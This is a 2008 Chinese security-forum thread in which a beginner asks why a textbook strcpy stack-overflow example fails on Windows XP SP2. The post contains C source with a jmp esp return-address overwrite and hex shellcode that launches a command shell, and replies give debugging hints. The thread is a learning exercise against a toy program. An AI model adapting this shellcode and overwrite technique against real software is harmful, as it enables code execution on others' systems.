返回列表 发帖

[讨论]问一个缓冲区溢出的问题 望高手帮帮忙

[讨论]问一个缓冲区溢出的问题 望高手帮帮忙
议题作者:keith_269
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

我最近想学一下缓冲区溢出的相关知识。在网上下了本书《Q版缓冲区溢出教程》,感觉写的

还不错,浅显易懂。但是在测试书上的一个例子时,没有出现应有的效果,不知道哪里出毛病

了,希望大家能帮一下忙!
就是一个很简单的利用strcpy的入门级例子。书中的例子是利用jmp esp导致溢出到一个弹出

cmd程序的shellcode。在书上说的jmp esp的地址是0x77e1af64,不过我的电脑是windows xp

sp2.我用程序查出我的jmp esp的地址是0x7c961eed。我就单单改了原来程序中的jmp esp的代

码,其他都跟书上一样(用的源码)。但是结果并没有出现溢出,没有弹出cmd程序。而是弹

出“\0x41\0x41\0x41\0x41\0x41\0x41\0x41\0x41Press any key to continue”不知道错在

哪里,望高手指教帮忙,万分感谢!

问题中没有说清楚的地方可以回帖问我!

源代码如下:
#include <stdio.h>
#include <string.h>

char name[] =
"\x41\x41\x41\x41"  //name[0]-name[3]
"\x41\x41\x41\x41"  //name[4]-name[7]
"\x41\x41\x41\x41"  //覆盖ebp
"\xed\x1e\x96\x7c" //!覆盖成jmp esp的地址,在winXP sp2上为0x7c961eed。我只是

修改了这里
//下面是cmd的shellcode。我没有修改                                
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45

\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x54\xA2"
"\xE6\x77\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8\x4a\x9b\x01\x78\xFF\xD0";


//char name[] = "abcdefgh";
//char name[] = "abcdefghijklmnopqrstuvwxyz";
int main()
{
        char output[8];
               
        strcpy(output, name);

        for(int i=0;i<8&&output;i++)

                printf("\\0x%x",output);

        return 0;
}
帖子1 精华0 积分1 阅读权限40 在线时间1 小时 注册时间2008-5-31 最后登录2008-6-2 查看详细资料引用 报告 回复 TOP 让女孩一夜变的更有女人味


yinhao
晶莹剔透§烈日灼然

没有定位好shellcode的位置   建议对比一下你的shellcode的地址和esp的地址  
另外要确定他们是不是在同一个区段

帖子16 精华0 积分29 阅读权限40 性别男 在线时间6 小时 注册时间2007-1-28 最后登录2008-7-17 查看详细资料引用 报告 回复 TOP 软件项目外包

netxfly
技术核心组

TOP

我去年写过一个《堆栈溢出入门》的paper,可能对你有用。

http://forum.eviloctal.com/viewthread.php?tid=28519
帖子303 精华12 积分4097 阅读权限200 性别男 在线时间255 小时 注册时间2005-1-20 最后登录2008-7-11 查看详细资料引用 报告 回复 TOP 少女暴富的隐秘(图)

mistakes
晶莹剔透§烈日灼然

TOP

返回列表